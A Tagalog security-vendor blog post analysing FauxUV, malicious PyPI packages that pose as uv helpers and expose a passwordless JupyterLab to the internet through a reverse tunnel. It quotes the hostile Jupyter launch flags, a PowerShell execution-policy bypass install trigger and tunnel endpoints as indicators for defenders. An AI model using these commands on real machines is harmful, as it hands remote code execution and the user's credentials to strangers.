FauxUV: Binuksan ng mga Pekeng Pakete ng PyPI uv ang Jupyter sa Web

FauxUV: mga pekeng PyPI uv helper na nagbubukas ng hindi awtorisadong Jupyter server sa internet

Tl; DR

Isang kumpol ng mga pakete ng PyPI ang humiram ng pangalan ng uv, ang mabilis at napakasikat na Rust-based Python package manager, para magpanggap na mga uv helper. Halos wala silang dinadalang totoong functionality. Sa halip, ang dala nila ay isang Windows payload na tumatayo para sa isang Naka-off ang JupyterLab server na may authentication at, sa mga susunod na bersyon, inilalathala ito sa pampublikong internet sa pamamagitan ng isang reverse tunnel.

Iyan ang buong kwento sa isang linya: ang pangalan ng isang mapagkakatiwalaang tool bilang pang-akit, at ang JupyterLab bilang remote-code-execution engine. Pinapatakbo ng isang Jupyter server ang anumang code na ita-type mo sa isang notebook cell; ang isa na inilunsad gamit ang isang walang laman na token at nakatali sa bawat interface ng network ay isang open interpreter na maaaring i-drive ng sinumang makakarating sa port.

Sinusubaybayan namin ang kumpol bilang Pekeng UVAng dalawang paketeng sinuri ay moon-uv (0.0.1-0.0.16) at my-magic-uv-helper (0.0.1), inilathala ng parehong operator at live sa PyPI sa oras ng pagsusuri.

ecosystemPyPI
Paketemoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
Naka-target na platapormaWindows
Pangunahing pag-uugaliHindi awtorisadong JupyterLab server, na inilathala sa internet sa pamamagitan ng isang reverse tunnel
Mga lehitimong kagamitang inabusouv, JupyterLab, cloudflared, Pinggy

Ang pang-akit: isang pangalang pinagkakatiwalaan mo na

uv ay isa sa mga pinaka-naka-install na tool sa Python sa nakalipas na dalawang taon, kaya "isang katulong para sa uv"ay isang pakete na ini-install ng isang developer nang walang pag-aalinlangan. Ang FauxUV ay buong-buo ang kredibilidad nito sa pangalang iyon. Binabalot ng mga pakete ang tunay uv installer mula sa Astral — ang mga URL sa payload point sa mga tunay at kagalang-galang na host — kaya sa isang mabilis na sulyap ay wala kang makikita kundi mga mapagkakatiwalaang reperensya. Wala sa mga pakete ang talagang nagdaragdag uv tungkulin; ang pangalan ang buong pagbabalatkayo.

JupyterLab bilang makinang RCE

Ang sentro ng payload ay isang launcher na nagpapagana sa JupyterLab kapag natanggal na ang bawat guardrail:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Ang bawat watawat ay nag-aalis ng proteksyon, at ang ipinadalang script ay naglalagay pa ng mga anotasyon sa mga ito (sa orihinal na Tsino): ang walang laman na token "Pinapatay ang mga password at token check — kahit sino ay maaaring kumonekta." jupyter lab ay isang lehitimong data-science IDE, ngunit hindiebook Ang cell ay nagpapatupad ng arbitraryong code ayon sa disenyo. Naka-configure sa ganitong paraan at nakatali sa 0.0.0.0, hindi na ito magiging isang IDE at magiging isang hindi awtorisadong remote shell sa host — hindi kailangan ng custom malware binary, isang mainstream tool lang na nakaturo sa maling direksyon.

Dalawang sumusuportang piraso ang gumagawa niyan na maaabot at mauulit:

  • Isang tahimik na gatilyo ng pag-install. Ang mga naunang bersyon ay nagpapatakbo ng PowerShell gamit ang -ExecutionPolicy Bypass diretso mula sa setup.py on pag-install ng pip, sa background na may mga error na pinigilan kaya tuldukan mukhang normal. Inililipat ng mga susunod na bersyon ang parehong primitive sa isang pip-uv command-line tool — at tuluyang i-drop ang install-time auto-run.
  • Isang pampublikong reverse tunnel. Isang server ang naka-on 0.0.0.0 ay maaabot lamang ng mga host na maaaring mag-ruta papunta sa makina. Ang isang naka-bundle na module ay magbubukas ng isang [Pinggy](https://pinggy.io/) SSH reverse tunnel na nagpapadala ng lokal na Jupyter port sa isang pampublikong address, na nag-aalis ng limitasyong iyon. Ang ipinadalang script ay mayroon ding — na-comment out — isang alternatibong landas gamit ang Cloudflare's cloudflared at netsh port-proxy sa isang Linode IP, na nagdodokumento ng parehong layunin sa pamamagitan ng iba't ibang imprastraktura.

Pagsama-samahin: i-install ang package, at ang isang Windows host ay magsasagawa ng isang walang password na JupyterLab at ilalathala ito sa bukas na internet.

Paano umunlad ang FauxUV

Mabilis na naipadala ang mga bersyon ng FauxUV, at ang trigger point ng payload ay gumalaw sa mga ito — isang paalala na ang isang may-flag na bersyon ay bihirang magsalaysay ng buong kwento ng isang linya ng pakete.

Stage Mga bersyon Trigger Ang idinaragdag nito
Kawit para sa pag-install moon-uv 0.0.1 0.0.3-, my-magic-uv-helper 0.0.1 setup.py sa pag-install ng pip pag-install ng uv + paghahanda ng PATH
Oras ng pagpapatakbo ng CLI moon-uv 0.0.5-0.0.13 pip-uv utos ang walang password na JupyterLab launcher
Lagusan moon-uv 0.0.14-0.0.16 pip-uv utos isang aktibong reverse tunnel ng Pinggy

Kapansin-pansin, ang awtomatikong pagpapatakbo ng oras ng pag-install ay inalis sa mga mas bagong bersyon na mas may kakayahang gamitin — kaya isang scanner na naka-key lamang sa lifecycle hooks bibigyan ng marka ang mga mas bagong release bilang kulang mapanganib, eksaktong pabaliktad.

Mga tagapagpahiwatig ng kompromiso

Nakumpirma sa pamamagitan ng pagbabasa ng pinagmulan ng pakete; minarkahan ang mga endpoint Nagkomento ay nasa mga file ngunit hindi isinasagawa ng sinuring bersyon. Hindi na ginagamit ang mga network indicator.

uri Nagtuturo
Utos ng pag-install powershell -ExecutionPolicy Bypass kinukuha ang tunay na uv installer, sa oras ng pag-install ng pip
Mga flag ng JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Baliktad na lagusan (aktibo) free[.]pinggy[.]io:443 pagpapasa ng lokal 127.0.0.1:8888
Tagapangasiwa ng tunel (nagkomento) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (na-komento) 45[.]79[.]134[.]161 (Linode) sa pamamagitan ng netsh port-proxy
Pagtitiyaga naghahanda %USERPROFILE%\.local\bin sa PATH ng gumagamit

Mga senyales ng pag-uugali na dapat bigyang-pansin, nang hiwalay sa eksaktong mga string na ito: a pag-install ng pip na namumulaklak powershell -Pag-bypass sa Patakaran sa Pagpapatupad; anuman jupyter pagsasama-sama ng paglulunsad token = "" sa –ip=0.0.0.0; at papalabas na SSH papunta sa *.pinggy.io mula sa isang developer o CI machine.

Naobserbahang pag-uugali at pinagmulan

Ang dalawang pakete ay may parehong awtor at pamamaraan: pangalan ng isang mapagkakatiwalaang tool, Windows-only gating, error-suppressed background execution, at pag-asa sa mga mapagkakatiwalaang tool kaya ang mabilis na pagtingin ay makakakita lamang ng mga mapagkakatiwalaang URL. Ang pinagmulan ay may mga komentong nasa wikang Tsino na naglalarawan sa mga flag na may kaugnayan sa seguridad nang malinaw; iniuulat namin ang mga iyon bilang mga napapansing pahayag sa file, hindi bilang isang pahayag tungkol sa motibo. Ang payagan_ang_pinagmulan halaga at a colab.bat Ang filename ay umuugong sa impormal na mga daloy ng trabaho na "ibahagi ang aking lokal na runtime" na kumakalat para sa Google Colab. Anuman ang pinagmulan, ang naka-package na resulta ay pareho.

Epekto at gabay para sa mga tagapagtanggol

Sino ang nalantad sa FauxUV. Mga developer ng Windows at mga CI runner na pag-install ng pip isa sa mga paketeng ito. Isang JupyterLab na walang password 0.0.0.0 ay remote code execution para sa sinumang makakarating sa port; inaalis ng tunnel ang limitasyong "kung sino ang makakarating dito". Tumatakbo ang server bilang installing user, na magmamana ng mga file, token, at cloud credentials ng user na iyon.

Bakit madali itong makaligtaan. Ang bawat string ng network ay nakaturo sa isang kagalang-galang na host — Astral, JupyterLab, cloudflared, Pinggy, Colab. Walang malware binary na iha-hash at walang obfuscated blob na ide-decode. Ang pag-scan batay sa reputasyon at lagda ay parehong hindi nagbibigay ng sapat na bigat dito, kaya naman ang tanong tungkol sa pag-uugali — Ano ang nagagawa ng makina kapag ini-install ang package na ito? — ang siyang nakahuli nito.

Gabay:

  • Tratuhin ang anumang oras ng pag-install powershell -Pag-bypass sa Patakaran sa Pagpapatupad bilang isang signal na nagbabagsak ng build, anumang URL ang kukunin nito.
  • Naka-on ang alerto jupyter inilunsad gamit ang isang walang laman na token at –ip=0.0.0.0; ang kombinasyong iyan ay hindi dapat lumitaw sa isang workstation o runner.
  • Subaybayan ang mga papalabas na SSH papuntang mga tunnel provider (*.pinggy.io, *.trycloudflare.com) mula sa mga kapaligiran ng developer at CI.
  • I-install uv mula sa [opisyal na pinagmulan nito](https://docs.astral.sh/uv/) at maging may pag-aalinlangan sa mga third-party na "helper" package na bumabalot sa isang tool na madali nang i-install.
  • I-pin at muling suriin ang mga dependency sa pag-upgrade — maaaring mapalago ng isang linya ng pakete ang bagong kakayahan sa paglipas ng bersyon.
mga tool sa pagsusuri ng komposisyon ng software ng mga tool sa sca
Unahin, ayusin, at i-secure ang mga panganib ng iyong software
Kunin ang Iyong Libreng Account.
Walang kinakailangang credit card.

I-secure ang Iyong Pag-develop at Paghahatid ng Software

kasama ang Xygeni Product Suite